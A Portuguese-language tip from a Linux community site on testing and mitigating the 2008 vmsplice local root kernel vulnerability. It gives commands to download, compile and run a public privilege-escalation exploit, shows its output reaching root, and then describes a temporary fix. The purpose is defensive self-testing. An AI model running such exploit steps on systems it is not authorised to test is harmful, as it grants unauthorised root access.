Linux slogan
Visite também: Segurança Linux · BR-Linux.org · Dicas-L · Doode · NoticiasLinux · SoftwareLivre.org · UnderLinux



» Screenshot
Linux: Flux vermelho
Por micmend
» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha


Dica

Explorando e resolvendo vulnerabilidade local no kernel Linux
Linux user
Publicado por Pedro Al Pacheco em 20/05/2008

Login: pedroa.pacheco, 9329 pontos | Blog: http://pedroalpacheco.blogspot.com/
[ Hits: 3638 ]

Explorando e resolvendo vulnerabilidade local no kernel Linux

Esta dica é um resumo e serve para testar e solucionar a falha crítica, baseado no alerta de segurança gerado pelo CAIS (Centro de Apoio a Incidentes de Segurança) utilizando a segunda opção - desabilitar temporariamente a função do kernel vulnerável até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.

Testado na distribuição Debian.

1 - Como testar seu servidor:

O teste é feito baixando exploit de:

$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c

Após baixar, compile com o comando (a compilação e execução das ações abaixo podem ser feitas como root ou usuário comum, foram testadas nas duas formas e foi obtido êxito):

$ gcc -o exploit 27704.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Dê permissão de execução do usuário.

$ chmod 777 exploit

Será criado um executável: exploit

Copie para a pasta do usuário local, ex.:

$ cp exploit /home/pedro

Entre com o comando:

$ su nome_do_usuário_comum (para logar como usuário comum)

Execute o binário:

$ ./exploit

A saída deve ser a seguinte:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7df6000 .. 0xb7e28000
[+] root

Depois você simplesmente digita o comando "su -" e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.

2 - Como vacinar seu servidor:

Existem duas formas:

1. Atualização o Kernel (link de abordamento):
2. Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:

Baixe no link:

$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Compile disable-vmsplice-if-exploitable.c:

$ gcc -o desabilita-exp disable-vmsplice-if-exploitable.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Será gerado seguinte binário: desabilita-exp

Após a execução de desabilita-exp não terá mais problemas com a vulnerabilidade.

A saída de execução será esta:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
Exploit gone!

Coloque na inicialização do Sistema Operacional onde você desejar. Ex.: /etc/rc.local ou no /etc/rcx.d.

Reinicie o servidor e efetue os testes referenciados no item 1.

Lembrando que esta medida é temporária, sem a necessidade de compilar o kernel.

Fontes:
Espero ter ajudado. Dúvidas e críticas construtivas estou a disposição.


Outras dicas deste autor

Leitura recomendada
   Dica Linux recomendada Instalar Ubuntu 10.10 de ISO em HD (sem CD ou USB)
   Dica Linux recomendada Instalando o Internet Explorer for Linux (ies4linux) via proxy
   Dica Linux recomendada Monitorar arquivos abertos no SAMBA
   Dica Linux recomendada Recuperando a senha de root pelo Grub
   Dica Linux recomendada Substituição de comandos - criando variáveis de ambiente

Comentários
Nenhum comentário foi encontrado.

Contribuir com comentário


  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Responsável pelo site: Fábio Berbert de Paula - Conteúdo distribuído sob licença GNU FDL
Site hospedado por:

Viva o Linux

A maior comunidade Linux da América Latina! Artigos, dicas, tutoriais, fórum, scripts e muito mais. Ideal para quem busca auto-ajuda em Linux.